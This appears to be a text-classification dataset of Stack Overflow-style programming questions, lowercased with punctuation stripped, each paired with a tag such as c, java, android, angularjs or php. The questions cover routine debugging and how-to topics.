how to explicitly instantiate the template function in the template class   b.h:     <pre><code>#ifndef ccc #define ccc  template&lt;typename t&gt; class c {     public: template&lt;typename t1&gt; void f(t1 t1); };  #endif </code></pre>   b.cc:     <pre><code>#include  b.h   #include &lt;iostream&gt;  using namespace std;  template&lt;typename t&gt; template&lt;typename t1&gt; void c&lt;t&gt;::f(t1 t1) {     cout&lt;&lt;t1&lt;&lt;endl; } </code></pre>   a.cc:     <pre><code>#include  b.h   int main(int argc  char* argv[]) {     c&lt;int&gt; c;     c.f(1.0f); } </code></pre>   make.sh:     <pre><code>#!/bin/bash g++ b.cc -fpic -shared -o b.so -std=c++1y g++ a.cc b.so -o a.out -std=c++1y </code></pre>   g++ output:     <pre><code>/tmp/ccylnd28.o: in function `main : a.cc:(.text+0x1f): undefined reference to `void c&lt;int&gt;::f&lt;float&gt;(float)  collect2: error: ld returned 1 exit status </code></pre>   it seems that explicit instantiation of the function  f  is needed  when a and b are compiled seperately. how,c++
searching a directory for a particular extension and move that value into a variable in c  need help with a c program to search for file with any extension (e.g. .xyz) and store the name of the file into a variable.    i can search a directory for the file name but not able to move it into a variable getting a segment error    here is the code    <pre><code>#include &lt;stdio.h&gt; #include &lt;regex.h&gt; #include &lt;dirent.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;regex.h&gt;   #if (defined( __stdc__) || defined(_windows)) &amp;&amp; !defined(apollo) #include &lt;stdlib.h&gt; #endif #include &lt;time.h&gt; #include &lt;errno.h&gt; //fuction starting char getfeature(char *dir) { dir *dp; struct dirent *entry; regex_t regex; int reti; char msgbuf[100]; char feature;  /* compile regular expression */  reti = regcomp(&amp;regex   .xyz$   0);          if( reti )         {             fprintf(stderr   could not compile regex\n );             exit(1);         }   if((dp = opendir(dir)) == null) {     fprintf(stderr  cannot open directory: %s\n   dir);     return; } while((entry = readdir(dp)) != null) {     reti = regexec(&amp;regex  entry-&gt;d_name  0  null  0);     if( !reti ){     printf( this is match file %s\n   entry-&gt;d_name);     var1 = entry-&gt;d_name;     printf( this is feature file name %s   var1 );     return var1;        }     else printf( file not found\n ); } chdir( .. ); closedir(dp); } </code></pre>   only this part is giving error   <pre><code>    var1 = entry-&gt;d_name;     printf( this is feature file name %s   var1 );     return var1; </code></pre>,c
custom typeface error  i want to change the app typeface and i can t:    androidmanifest.xml   <pre><code>...     &lt;application         android:icon= @drawable/ic_launcher          android:label= @string/app_name           android:theme= @style/customtheme          &gt; ... </code></pre>   style.xml   <pre><code>....      &lt;style name= customtheme &gt;         &lt;item name= android:typeface &gt;stheiti.ttf&lt;/item&gt;     &lt;/style&gt; .... </code></pre>   but i get an error:   <blockquote>    error: error: string types not allowed (at  android:typeface  with   value  stheiti.ttf ).  </blockquote>   but i have a rootapp/assets/stheiti.ttf    i do not understand why get that error  i searched in many sites the solution but i couldn t found any with same problem    thanks in advance! :=),android
android: possible to use dp on a layout and make it look the same across devices   i ll break my question in steps  so that it s easier to follow/answer.    step 1: according to the <a href= http://developer.android.com/guide/practices/screens_support.html%2a%2a  rel= nofollow >android developer guide</a>   the density-independent pixel is equivalent to one physical pixel on a 160 dpi screen . this means that on a galaxy s  which has 233 dpi  1 dp is equal to 1.46 physical pixels (233/160).    step 2: given the galaxy s has a resolution of 480x800  it means that the height of its screen is 548dp (800 physical pixels divided by 1.46). so if i make the height of a linearlayout i create to be 274dp it will take exactly half the screen. i tested  and it works.    step 3: the galaxy s3 has 306 dpi  so on that device 1dp = 1.9125 physical pixels (306/160). since it has a resolution of 720x1280  the height of its screen is 670dp (1280/1.9125). again  if i make a linearlayout with around 335 it will take half the screen. tested and worked.    <strong>question</strong>: how do i make a linearlayout that will take half the screen both on the galaxy s and on the galaxy s3 using density-independent pixels  cause if i use 274dp it will take half the screen only on the s  and vice-versa. or are my calculations wrong in any step     <strong>update</strong>: thinking about it i came up with the following idea: use  screenmetrics  to get both the dpi and screen resolution of the device. then let my app calculate the total size of the screen in dps (which will be the resolution divided by (dpi of device/160)  and then set the height of the layout dynamically to be half of that. a lot of work  but i guess it s the way to do this,android
assigning unique ids in jquery  hey im trying to assign a unique id number to each of my form elements     heres the fiddle im working on <a href= http://jsfiddle.net/d0okie0612/22ctn/  rel= nofollow >http://jsfiddle.net/d0okie0612/22ctn/</a>    heres the outputted html    <pre><code>&lt;div id= container &gt;   &lt;div id= top_form &gt;     &lt;form&gt;       street: &lt;input class= street  name= [][street]  id= form_element  type= text &gt;               &lt;br&gt;&lt;br&gt;       city: &lt;input class= city  name= [][city]  id= form_element  type= text &gt;       &lt;select&gt;         &lt;option value=   &gt;state&lt;/option&gt;         &lt;option value= ca &gt;ca&lt;/option&gt;         &lt;option value= az &gt;az&lt;/option&gt;         &lt;option value= de &gt;de&lt;/option&gt;        &lt;/select&gt;        zip: &lt;input name= [][zipcode]  type= text &gt;&lt;br /&gt;&lt;br /&gt;      &lt;/form&gt;     &lt;/div&gt;   &lt;/div&gt;      &lt;br /&gt;        &lt;a href= #  id= awsomebutton &gt;+ add loction&lt;/a&gt;     &lt;br /&gt;      &lt;br /&gt;    &lt;button id= submit_btn &gt;submit&lt;/button&gt; </code></pre>   ​    and heres the jquery    <pre><code>var tpl =    +  &lt;div id= location_div_&lt;%= id %&gt; &gt;&lt;h1&gt;my location #&lt;%= id %&gt;&lt;/h1&gt;&lt;/div&gt; ;  var newid = new date().gettime(); var template = _.template(tpl); var compiled = template({id: newid});  var addedform =  &lt;div id= added_form &gt;  +  &lt;a href= #  class= close_btn &gt;x&lt;/a&gt;  +  street: &lt;input name= [][street]  type= text &gt;  +  &lt;br /&gt;&lt;br /&gt;  +  city: &lt;input name= [][city]  type= text &gt;  +  &lt;select&gt;  +  &lt;option value=   &gt;state&lt;/option&gt;  +  &lt;/select&gt;  +  zip: &lt;input name= [][zipcode]  type= text &gt;  +  &lt;/div&gt;    $( #awsomebutton ).on( click    function(e){     $(addedform).hide().appendto( form ).fadein( slow );  });  $( .close_btn ).live( click   function(event){ event.preventdefault(); $(this).parents( div#added_form:first ).fadeout( slow   function(){     $(this).remove();      }); }); </code></pre>   so basically i want it so that where it says  <code>name= [][street] </code>    i want to have the unique id number im generating from newid to show up in the [] when i inspect the element.      so for example     first location <code>[0]street[0]state</code> etc     second location  <code>[1]street[1]state</code> etc    im new to jquery so if you could edit the fiddle to make that happen or if you could just explain to me like a six year old that would be great.     thank you  ​,jquery
how to calculate range of unknown int type   as there are min() and max() functions in c++  what is the equivalent in c to find the range of an unknown type     if unknown (e.g.  ctype ) where nothing about the implementation is known  how would go about getting the min and max of this number,c
"in this code  why class style font-weight is applied  but not color   why class style font-weight is applied  but not color     it s the only issue :(    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt; xml version= 1.0  encoding= utf-8  &gt;&lt;svg version= 1.1  id= project  xmlns:svg= http://www.w3.org/2000/svg             xmlns= http://www.w3.org/2000/svg  xmlns:xlink= http://www.w3.org/1999/xlink &gt;
 &lt;style&gt;
     .cabecerahelp   {color:#0040ff !important;font-weight:bold;}
 &lt;/style&gt;
 
 &lt;g id= proyectoactual &gt;
 &lt;rect class= tooltip_bg  id= tooltip_bg  x= 0  y= 0  rx= 4  ry= 4  width= 55  height= 17  visibility= hidden /&gt;
 &lt;text class= tooltip  id= tooltip  x= 0  y= 0  visibility= visible &gt;
 &lt;tspan id= linea1tooltip  class= cabecerahelp  dy= 15 &gt;lorem ipsum&lt;/tspan&gt;
 &lt;tspan id= linea2tooltip  dy= 15 &gt;lorem ipsum&lt;/tspan&gt;
 &lt;tspan id= linea3tooltip  dy= 15 &gt;lorem ipsum&lt;/tspan&gt;
 &lt;tspan id= linea4tooltip  dy= 15 &gt;lorem ipsum&lt;/tspan&gt;
 &lt;/text&gt;
 &lt;/g&gt;
 &lt;/svg&gt;</code></pre>
 </div>
 </div>",html
input into specific position using an index in an array  unlike other languages  is it possible to directly input value to specific index in an <code>array</code> instead of using <code>append</code>.    ex:   <pre><code>arr[10] = 100 </code></pre>,python
two syntax errors: error c2143 syntax error: missing  ;  before  *   so i have a few syntax errors that are saying:     <pre><code>error c2143 syntax error: missing  ;  before  *     error c4430 missing type specifier - int assumed. note: c++ does not support default-int   error c2238 unexpected token(s) preceding  ;    error c2143 syntax error: missing  ;  before  *    </code></pre>   all of these are in:     <pre><code>#pragma once   #include  world.h    class organism   {   protected:       int strength;     int initiative;         int age  x  y;       char sign;       world *world;  //line that makes errors public:       organism(world* int int);     virtual ~organism();     virtual void action() = 0;     virtual void collision() = 0;     virtual char getsign() = 0; }; </code></pre>   i have also these errors(yeah  twice same error):   <pre><code>error   c2061   syntax error: identifier  world  error   c2061   syntax error: identifier  world  </code></pre>   in line with organism(world* int int); (i do not know how to add line numbers on stackoverflow). what can cause these problems     here is the world.h code:   <pre><code>#pragma once #include  organism.h  class world {     int height;     int width;     organism*** organisms; public:     world();     world(int  int);     ~world();     void drawworld();     void nextround(); }; </code></pre>,c++
rename file after file upload <pre><code>public void handlefileupload(fileuploadevent event) {            externalcontext extcontext = facescontext.getcurrentinstance().getexternalcontext();               file result = new file(extcontext.getrealpath( //admin//images ) +  //  + event.getfile().getfilename());            // file result = new file( d:\\netbeans project\\mcgrawlibpro\\mcgrawlibpro-war\\web\\item   event.getfile().getfilename());               file bg = new file(extcontext.getrealpath( //admin//images )+ //macback.png );             try {                         bg.renameto(new file(extcontext.getrealpath( //admin//images )+ //bg.png ));                     file f1 = new file(extcontext.getrealpath( //admin//images ) +  //macback.png  );                     result.renameto(f1);                    //system.out.println(f1);                 system.out.println(result);                 fileoutputstream fileoutputstream = new fileoutputstream(result);                  byte[] buffer = new byte[buffer_size];                  int bulk;                 inputstream inputstream = event.getfile().getinputstream();                 while (true) {                   bulk = inputstream.read(buffer);                   if (bulk &lt; 0) {                          break;                          }                   fileoutputstream.write(buffer  0  bulk);                   fileoutputstream.flush();                   }                    fileoutputstream.close();                   inputstream.close();                    facesmessage msg = new facesmessage( ok                         event.getfile().getfilename() +   was upload. );                   facescontext.getcurrentinstance().addmessage(null  msg);                    } catch (ioexception e) {                         e.printstacktrace();                    facesmessage error = new facesmessage( can t upload! );                   facescontext.getcurrentinstance().addmessage(null  error);                   }         } </code></pre>   my problem is when i upload a picture type png such as aaa.png  it can upload on server but it not rename  after upload aaa.png and i re-upload this picture(aaa.png) it can change name but it have 2 file one is aaa.png and one is macback.png     what s wrong in my code     thank you !,java
weird behavior of a counter inside the for loop  i ve noticed that a counter(<code>a</code>variable) of the for loop  doesn t works well. indeed  the counter doesn t decrements correctly; i know this question seems stupid   but i can t understand why the <code>a</code> variable does this.   <pre><code>#include &lt;stdio.h&gt;  int main() {     int a i b matrice[2][2];     printf( put inside the matrix some numbers..\n );       for (a=2;a&gt;=0;a--) {         for (b=2;b&gt;=0;b--) {             matrice[a][b]=scanf( %d  &amp;i);         }     }      return 0; } </code></pre>,c
what does the .net framework do during a blocking call   i m observing some strange behavior in my code and i m trying to track down the source.  i have two single threaded .net applications running and sending wcf messages to each other on the same machine.  they are very simple  there is a blocking write and then a blocking read.  i have noticed that on my blocking call in my log  99.99% of the time i read / write in ~10 ms.  however in very rare circumstances  it may take 500-2000 ms.  i m trying to understand exactly why this might be.  i have a few odd quirks to my app that i am tracking down and may be the culprit  but i was wondering if this was entering into territory where there s something about the framework that i don t understand.      so my question is this  when there s something like a blocking call  does a .net application start running a background process (such as garbage collection) while the main thread of execution is blocked     thank you for your time.,.net
why the previous input buffer is not stored in case of scanning of strings using scanf  <pre><code>scanf( %d  &amp;i); scanf( %c  &amp;ch); </code></pre>   in this case the newline(ie. the enter key pressed after the number)stays in the input buffer and carry forwards to the <strong>ch</strong><br> but in this case :   <pre><code>scanf( %d  &amp;i); scanf( %s  s); </code></pre>   the input buffer doesn t contain the newline i.e. the buffer is cleared(i m not sure if the buffer is cleared) and the newline is not taken in the string <strong>s</strong>      can anyone throw some light on this  why the newline is not taken in case of scanning the string,c
difference between behaviour in live code and local code  i have a user controller with this content    <pre><code>$scope.followunfollowuser = function(user) {     //if followed - unfollow     if (user.isfollowed) {          unfollowuser.unfollowuser(user).then(function() {             user.isfollowed=!user.isfollowed         }  function() {         })          notification.success(user.name +   wordt niet meer gevolgd. );      } else {          followuser.create({             followed_id: user.id         }).then(function() {             user.isfollowed=!user.isfollowed         }  function() {         })          notification.success(user.name +   wordt nu gevolgd. );     }   init(); }  var init = function () {    loadcurrent_user.loadcurrent_user().then(function(response) {     $scope.current_user = response.data;      usersservice.loadusers().then(function(response) {       $scope.users = response.data;       //iterate and create isfollowed property       angular.foreach($scope.users  function(user) {         user.isfollowed = isfollowed(user.id);       })       console.log ($scope.current_user.following)     })      var isfollowed = function(userid) {        var following = $scope.current_user.following;       for (var i = 0; i &lt; following.length; i++) {         if (following[i].id == userid) {             return true;         }       }       return false;     }    });  } </code></pre>   and this template    <pre><code>%ul{ ng-repeat  =&gt;  user in users }   %li     name: {{ user.name }}     %br      %a{ ng-click  =&gt;  followunfollowuser(user) }       -# {{ user.isfollowed }}       {{ user.isfollowed    unfollow user  :  follow user }} </code></pre>   when i use my app locally to follow or unfollow a user my <code>console.log ($scope.current_user.following)</code> gets updated with the correct amount of objects.    for example locally i m following 3 users. the console.log returns 3 objects. if i unfollow a user the console.log returns 2 objects.    but on my live server the <code>console.log ($scope.current_user.following)</code> doesn t get updated with the object. for example  when i follow 0 users on my live server and visit the user page. the <code>console.log ($scope.current_user.following)</code> returns 0 objects (since i m not following a user). when i click on the follow link for a user i get the notification that i m following a user  if i check my <code>current_user.json</code> it shows that i m following a user  and when i check <code>relationships.json</code> it also shows that i m following a user. but my <code>console.log ($scope.current_user.following)</code> returns 0 objects.    when i click the link to follow another user  then the <code>console.log ($scope.current_user.following)</code> returns 1 object (the user is previously followed  while it should show 2 objects. the previous and current followed user object).    so on the live server the <code>console.log ($scope.current_user.following)</code> is always one behind.,angularjs
how to push activity content up when keyboard activated  in an <code>activity</code> of my <code>application</code>  the user has to submit many strings trough an <code>edittext</code> and a <code>button</code>. as the range of the submits can go from a <strong>minimum</strong> of <strong>9</strong> to a <strong>maximum</strong> of <strong>24</strong>  i want this process to be as easy and fast as possible.    i was thinking about making the <strong>keyboard always visible</strong> while the whole <strong>activity content</strong> gets <strong>pushed up</strong>.   <hr>   i have tried to use the following rule in the <code>manifest</code> to make it push the activity <code>android:windowsoftinputmode= adjustresize </code> but it looks like it only pushes up the content with a marginbottom.    any ideas bout how to achieve this     edit:    the following is the xml code of the layout of my activity:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;  &lt;scrollview xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent  android:fillviewport= true &gt;  &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:layout_width= match_parent  android:layout_height= wrap_content  android:paddingbottom= @dimen/activity_vertical_margin  android:paddingleft= @dimen/activity_horizontal_margin  android:paddingright= @dimen/activity_horizontal_margin  android:paddingtop= @dimen/activity_vertical_margin  tools:context= com.fet.leonardo.scurcola.nameselection  android:background= #e0ab18 &gt;  &lt;textview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= @string/whomaster      android:textcolor= @color/white      android:textsize= 50sp      android:layout_margintop= 50dp      android:textalignment= center      android:id= @+id/whomaster      android:layout_alignparenttop= true      android:layout_centerhorizontal= true  /&gt;  &lt;edittext     android:layout_width= wrap_content      android:layout_height= wrap_content      android:inputtype= textpersonname      android:hint= @string/master      android:ems= 10      android:textcolorhint= @color/white      android:textcolor= @color/white      android:textcolorhighlight= @color/white      android:id= @+id/names      android:layout_centervertical= true      android:layout_centerhorizontal= true  /&gt;  &lt;button     android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/next      android:layout_marginbottom= 50dp      android:onclick= addplayer      android:text= @string/next      android:layout_alignparentbottom= true      android:layout_alignend= @+id/names      android:textcolor= #e0ab18  /&gt;  &lt;button     android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= @string/back      android:id= @+id/back      android:enabled= false      android:onclick= removeplayer      android:textcolor= #e0ab18      android:layout_marginbottom= 50dp      android:layout_alignparentbottom= true      android:layout_alignstart= @+id/names  /&gt;  &lt;button     android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/finish      android:visibility= gone      android:text= @string/finish      android:layout_alignparentbottom= true      android:layout_alignend= @+id/names      android:layout_marginbottom= 50dp      android:onclick= tonextactivity      android:textcolor= #e0ab18 /&gt;  &lt;textview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= @string/zero      android:textsize= 50sp      android:textcolor= @color/white      android:id= @+id/playersleft      android:layout_below= @+id/names      android:layout_centerhorizontal= true      android:layout_margintop= 50dp  /&gt;  &lt;/relativelayout&gt; &lt;/scrollview&gt; </code></pre>,android
questions about a drill-down menu app with different types of custom cells  let me first say that by no means i am a programmer  just know the basics and just started messing with iphone sdk. i am developing a simple app to simulate security settings for a class project  but have encountered issues even though i have found code for most of the things i want done. the main issue i have is that i don t really get how to integrate them.    in any case  the application (once running) shows 3 main options in a grouped style table view. when selecting the first option  it should take you down 1 level and be able to select an item from the list and show the checkmark for the selected item. the second option  i wanted to recreate the passcode window from the iphone s settings (not done yet). and when the third option is selected  a list of  apps  (i m just throwing names there) should appear with a small icon for each and a on/off switch as well. like i said  it will be all just a simulation and all i want is for it to show properly  i am not expecting any action from the selections.    i have some code in comment  that i found and relates to what i want. i know there are variables there that don t relate to my project. i have attached my whole project folder  here:    <a href= http://rapidshare.com/files/319884407/secureit.zip.html  rel= nofollow noreferrer >http://rapidshare.com/files/319884407/secureit.zip.html</a>    i appreciate any help anyone can give me.,iphone
c  compound assignment - arithmetic operation  conversion may loose information  is there a way to write the operation short and suppress the warning    <pre><code>byte data[10]; int i = 0;     int offset = 0;  for (i = 0; i &lt; 7; i++) {     // some code     data[offset] |= (1 &lt;&lt; i);  // warning: conversion may loose information } </code></pre>   my attempts:   <pre><code>data[offset] |= (byte) (1 &lt;&lt; i); // failed data[offset] |= (1 &lt;&lt; (byte) i); // failed </code></pre>   compiler: tia-v13 wincc from siemens    <strong>solution</strong>: no compound assignment operators!,c
database table showing multiple results per field  attempting to form a query using 2 tables involving member of a cycling club and their respective place in a race with microsoft access.  when i attempt to run the following sql code i get a query table that displays every raceid and member  but doesn t link each member to 1 place per race.   <pre><code>select raceid  lastname  firstname  place from members  raceresults; </code></pre>   what i do wind up with is a listing for every member of the club in all places (1-10) in every race.  i have attempted to do both a count function per raceid and a join function to combine the memberid s between both tables.  neither seem to either work  or have the same result as my current table.  i would appreciate any suggestions on what i am missing in my sql query to properly display my table.,sql
multiple checkbox in android  i have two checkboxes in my code like for  qualification (ug and pg checkboxes)    i want that when user choose the checkboxes and click on submit button then in the second activity the text of the checkboxes should appear in the textview...    i already have created a button and onclick function.... and using intent i am sending data from one activity to another..... but i have no idea of how to send checkbox text to other activity and in other activity how i will show it on textview.....        thanks in advance.....,android
why array cannot add prototype with literals  <pre><code>var a=[1 2 3 4]  function demo(){}  array.prototype={   foo:function(){     alert(1)   } }//a.foo is not a function  array.prototype.foo=function(){   alert(1) }//alert(1)  a.foo()  demo.prototype={   foo:function(){     alert(1)   } }  var b=new demo() b.foo()//alert(1) </code></pre>   why can t <code>array</code> add prototype with literals  also  why does it work when i use a constructor     here is an example: <a href= https://jsbin.com/zowalu/edit js console  rel= nofollow >https://jsbin.com/zowalu/edit js console</a>,javascript
inject custom service into httpprovider interceptors  if i have created service in angularjs    <pre><code> .module( common.services )     .factory( redirectservice               [ $resource    $q    $location                 redirectservice]);  function redirectservice($resource  $q  $location){    ... } </code></pre>   how can i inject this service into httpprovider interceptors  i ve found some <em>working example</em> which i need to inject somewhere  should i paste this code inside this redirect service or inside app.js config    <pre><code>module.config(function ($httpprovider) {    $httpprovider.interceptors.push( redirectservice ); } </code></pre>,angularjs
invalid method declaration; return type requred   i am getting an  invalid method declaration; return type required at this section:   <pre><code>public updatefrequency(int frequence) {     frequence = frequency++;     return frequence; } </code></pre>   full code below   <pre><code>public class node { string number; //node data node left;  //points to the left sub-tree node right; //points to the right sub-tree int frequency;  public node(string s) {     number = s;     left = null;  //set value to null because it is empty     right = null; //set value to null because it is empty     frequency = 1; //starting frequency value }  public void add(string value) {     if (left == null) {         left = new node(value);     }     else if (right == null) {         right = new node(value);     }     else {         if (countchildnodes(left) &lt;= countchildnodes(right)) {             left.add(value);         }         else {             right.add(value);         }     } }  public int countchildnodes(node node) {     int count = 0;     if(node != null) {         count = 1 + countchildnodes(node.getleft()) + countchildnodes(node.getright());     }     return count; }  public updatefrequency(int frequence) {     frequence = frequency++;     return frequence; }  public void increasefrequency() {  //increases the frequency of string occurences     frequency++; }  public int getfrequency() { //returns frequency of given string     return frequency; }   public node getright() {     return right; }  public node getleft() {     return left; }  public string getnumber() {     return number; } </code></pre>   }    could anyone point out my error  my other classes are named treedemo and binarysearchtree but i m not sure if that matters.    thank you for your help.,java
how to prevent member variable of object x from going out of scope when shared_ptr of x is returned from the stack frame of a function call in c++  <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;map&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;tr1/memory&gt; #include &lt;algorithm&gt; #include &lt;utility&gt;   class x {   public:     int x;      x(){       std::cout &lt;&lt;  inside x cons  &lt;&lt; std::endl;     }      x(x&amp; _x){       std::cout &lt;&lt;  inside copy cons  &lt;&lt; std::endl;       this-&gt;x = _x.x;     } };  class y {   private:     x&amp; xx;   public:     y(x&amp;); };  y::y(x&amp; x):xx(x){}  int foo(){   x x;   y y(x); }; </code></pre>   in this hypothetical case  if i had replaced y y(x) with      shared_ptr(new y(x)) and return the shared_ptr instead of int. then x will go out of scope in the caller s frame right  what design pattern should i use to avoid such cases and handle initializations/return effectively.,c++
how many loops is jquery doing with chaining   let s say i have this jquery code:   <pre><code>$( .popup ).width(300).height(300).text( hi! ).fadein(1000); </code></pre>   let s say <code>.popup</code> has 50 elements. <code>width(300)</code> will loop through these 50 elements and apply the appropriate property value.    my question is: what happens then  when it s <code>height(300)</code> time to start running  does it start all over again (new loop) and apply the property values again     what is going on in the background  in this particular example  will there be 4 loops (because there are 4 functions) or 1 loop where each of these functions will be applied in one go,jquery
building an ios app just using a webpage  i m new to ios development and wanted to make an app for learning purposes. my idea is that i have a single webpage that has a live count of how many people are in the gyms on my university s campus.    <blockquote>    how can i pull data from that webpage and show it on my app with a little bit of arithmetic such as :       <blockquote>      database how many people are usually in the gym at a particular time and then give predictions.            let users chose a preferential gym and give them notifications based on their regular check in times            if the rate of entry in the gym is high  then notify users to avoid going then. and vice-versa.    </blockquote> </blockquote>   i don t want answer to all the above  but if you could give me a heading  that would be awesome!    edit 1: the webpage looks like this : <a href= https://studentaffairs.psu.edu/currentfitnessattendance/  rel= nofollow noreferrer >https://studentaffairs.psu.edu/currentfitnessattendance/</a>,ios
size of mpmovieplayercontroller  how can i change the size of a mpmovieplayercontroller  i don t want to let it play in fullscreen  i just want a part of the view where the video is playing. i ve searched a lot  but i couldn t find a good answer.    thanks,objective-c
smooth autorotation animation  i m implementing autorotation support in my app  which is mostly a subclassed uiscrollview that does a bunch of special stuff (first image). <code>layoutsubviews</code> is called on the main <code>uiview</code>  which in turn calls the scrollview s <code>layoutsubviews</code>. this resizes the content to the new orientation s bounds  as expected (second image). then the rotation animation happens. as a result  the user sees ugly dead space around the view after they rotate the device but before the newly-resized content rotates to its final position.    my app is written such that its contents have implicit animations turned off  so the resizing done by <code>layoutsubviews</code> is instantaneous. (otherwise  i believe anything that happened there would be animated along with the rotation.) the simplest thing from my perspective (and given the app s visual contents) is to resize for the new orientation  then stretch it to look like the old orientation  then animate an undo of that stretch while the view rotates into position. this isn t working: tweaks to the <code>uiscrollview</code> s <code>transform</code> property screw up its internal concept of geometry  and its parent <code>uiview</code> seems to overwrite changes to its <code>transform</code> if i make them in <code>willrotatetointerfaceorientation</code>. any transform made in <code>viewwilllayoutsubviews</code> or later is animated  so by then i already need to be undo-ing the stretch i made earlier:   <pre><code>willrotate start  main transform [1  0  0  1  0  0] (untouched) willrotate end  main transform [4  0  0  0.25  0  0] (trying to stretch it arbitrarily) willlayout  main transform [0  1  -1  0  0  0] (my stretch was overwritten by rotation; animation block has already started) didlayout  main transform [0  1  -1  0  0  0] willanim  main trasform [0  1  -1  0  0  0] didrotate  main transform [0  1  -1  0  0  0] </code></pre>   normal view ==> resized view before rotation (i want to stretch this to cover the black space)    <img src= https://i.stack.imgur.com/0yaje.png  alt= normal portrait view > <img src= https://i.stack.imgur.com/noy2t.png  alt= after resize  before rotation >    how can i stretch the new content before the animation  and have it unstretched at the end  alternatively  should i be doing this an entirely different way  animating the resizing of all elements isn t an option.,ios
how to send the value of a textbox from one page to another using querystring  i have a page1 and link on that page which opens up the page2. there is a textbox on page1 whose value needs to be passed onto the page 2 when the user clicks on the link for page2.    firstly  i thought of using ontextbox changed event  but cant use that as the values in the textbox are autogenerated.    once the page1 is loaded the value in the textbox is 1 which needs to be passed onto page2 when page2 is clicked. i want to do this using querystring. inputs please.,asp.net
adding two  bigint  byte arrays together  i m having trouble trying to add two  big integer  byte arrays together which are stored in reverse order to help with math. here is my constructor.   <pre><code>public class intzilla { public byte[] digits; //private byte negative = -1; private byte zero = 0; private byte positive = 1; private byte posnegzero = 0; private boolean negative; private string inputstring;  public intzilla() {     this( 0 ); }  public intzilla(string s) {     string tempstring = s;     inputstring = s;     tempstring = tempstring.trim();     if(tempstring.substring(0 1).equals( - )){         negative = true;         tempstring = tempstring.substring(1);     } else if(tempstring.substring(0 1).equals( + )){         negative = false;         tempstring = tempstring.substring(1);     }else {         negative = false;     }      while((tempstring.substring(0 1).equals( 0 )) &amp;&amp; (tempstring.length() &gt; 1)){         tempstring = tempstring.substring(1);     }      digits = new byte[tempstring.length()];      for(int i = 0; i &lt; tempstring.length(); i++){         string currentchar = tempstring.substring(i  i+1);         byte tempdigits = byte.parsebyte(currentchar);         digits[(digits.length - 1) -i] = tempdigits;     } } </code></pre>   and here is my attempted plus method so far. getting a  possible lossy conversion from into to byte .    <pre><code> public intzilla plus(intzilla addend) {     byte carry = 0;     byte mod = 10;     intzilla result = new intzilla();      for(int i = 0; i &lt;= addend.digits.length-1; i++) {         result.digits[i] = (byte)(this.digits[i] + addend.digits[i] + carry)% mod;         carry = (byte)(this.digits[i] + addend.digits[i] + carry) / 10;     }     return result; } </code></pre>,java
ios  how to play multi- videos on the same view   i want to play four videos on the same view within a small rectangular area  is that possible,ios
putting unix dates into angular table  i want to format my date from <code>1499992000</code> to <code>fri jul 14 2017</code>    <pre><code>&lt;td&gt; {{ new date(vm.checkindate*1000) }} &lt;/td&gt; </code></pre>   is there a way to do this directly on the page  or will i have to do it in the controller     all i get now is:   <pre><code>[$parse:syntax] syntax error: token  date  is an unexpected token </code></pre>,angularjs
why preferredstatusbarstyle doesn t change the style of the status bar   i put <code>view controller-based status bar appearance</code> to <code>yes</code> in info.plist; so that  i can alter the status bar appearance per controller. if i want to hide status bar in any controller  it works but when it comes to changing the status bar text to light content:   <pre><code>override func preferredstatusbarstyle() -&gt; uistatusbarstyle {     return uistatusbarstyle.lightcontent; } </code></pre>   this just doesn t change the value. i tried to add    <pre><code>self.setneedsstatusbarappearanceupdate(); </code></pre>   to <code>viewdidload</code> but also got no luck.    what am i doing wrong  the top controller is navigation controller that is added by embedding the  main top controller  in navigation controller using the interface builder.,ios
why does $timeout require functions with parameters to be wrapped in anonymous functions   i m having trouble using $timeout  and stumbled upon this solution on this site:    <a href= https://stackoverflow.com/questions/22876031/how-to-run-function-with-parameters-using-timeout-in-angularjs >how to run function with parameters using $timeout in angularjs </a>    while that answered the  how   it didn t address the  why . when you want to defer the execution of a function that requires parameters  using $timeout  why must it be wrapped in an anonymous function  and why is this also not necessary for parameterless functions,angularjs
saving variables to php file  im stuck at this one  the code is working properly but will not pass/save variables to  sample.php  file newely created.    <pre><code>&lt; php  $id = 3; $name =  john smith ;  $myfile = fopen( sample.php    w ) or die( unable to open file! );  $txt =     &lt; php   // start the session   session_start();   // set session variables   $_session[\ user\ ] = $id;            // integer variable   $_session[\ name\ ] = \ $name\ ;  // string variable   header( location: home/start.php );    &gt;  ;  fwrite($myfile  $txt); fclose($myfile);   &gt; </code></pre>,php
android how to find resource identifier for third party apps icon  can we find resource identifier for  third party apps icon.actually i want to display third party apps with there icons.    for displaying the third party app i use listview . and in adapter s getview method i use the below code <code>applicationinfo = pm.getapplicationinfo(appnames.get(position) pm.get_meta_data); imageviewappicon.setimagedrawable(applicationinfo.loadicon(pm)); </code> and it decrease the performance of the listview.     and if i holds the drawable in the arraylist it holds large list of drawable(objects).any help,android
access join table data in rails :through associations  i have three tables/models. user  alliance and alliance_membership. the latter is a join table describing the :alliance has_many :users through :alliance_membership relationship. (:user has one :alliance)    everything works ok  but alliance_membership now has an extra field called  rank . i was thinking of the best way to access this little piece of information (the rank).    it seems that when i do  alliance.users   where alliance is the user s current alliance object  i get all the users information  but i do not get the rank as well. i only get the attributes of the user model. now  i can create a helper or function like getuserrole to do this for me based on the user  but i feel that there is a better way that better works with the active record associations. is there really a better way      thanx for reading :),ruby-on-rails
